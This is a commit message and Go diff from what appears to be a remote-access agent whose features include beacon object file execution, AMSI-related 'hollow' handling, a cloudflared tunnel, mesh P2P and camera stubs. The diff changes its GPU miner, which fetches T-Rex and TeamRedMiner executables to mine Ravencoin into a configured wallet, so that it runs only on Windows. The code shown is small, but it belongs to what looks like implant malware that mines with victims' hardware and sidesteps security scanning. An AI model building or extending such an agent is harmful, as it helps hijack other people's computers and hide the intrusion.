Add by-design safety tests and clear PROBLEMS.md rows.

Go/Vitest coverage for bof_execute, hollow AMSI limits, cloudflared stub policy, KEV n/a, mesh P2P zero peers, and non-Windows GPU/camera stubs. Skip GPU subprocess on non-Windows; document cloudflared external connector path.

agent/client/gpu_miner.go

@@ -8,6 +8,7 @@ import (
 	"net/http"
 	"os"
 	"path/filepath"
+	"runtime"
 	"sync"
 	"time"
 
@@ -74,6 +75,12 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
 	if !cfg.GPUEnabled || cfg.RVNWallet == "" {
 		return nil
 	}
+	// KawPoW subprocess miners ship as Windows PE binaries only (t-rex.exe / teamredminer.exe).
+	// Linux/macOS may detect NVIDIA via nvidia-smi but cannot run these downloads.
+	if runtime.GOOS != "windows" {
+		log.Printf("[gpu] GPU subprocess mining requires Windows (miners ship as .exe only)")
+		return nil
+	}
 	info := detectGPU()
 	if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther {
 		log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model)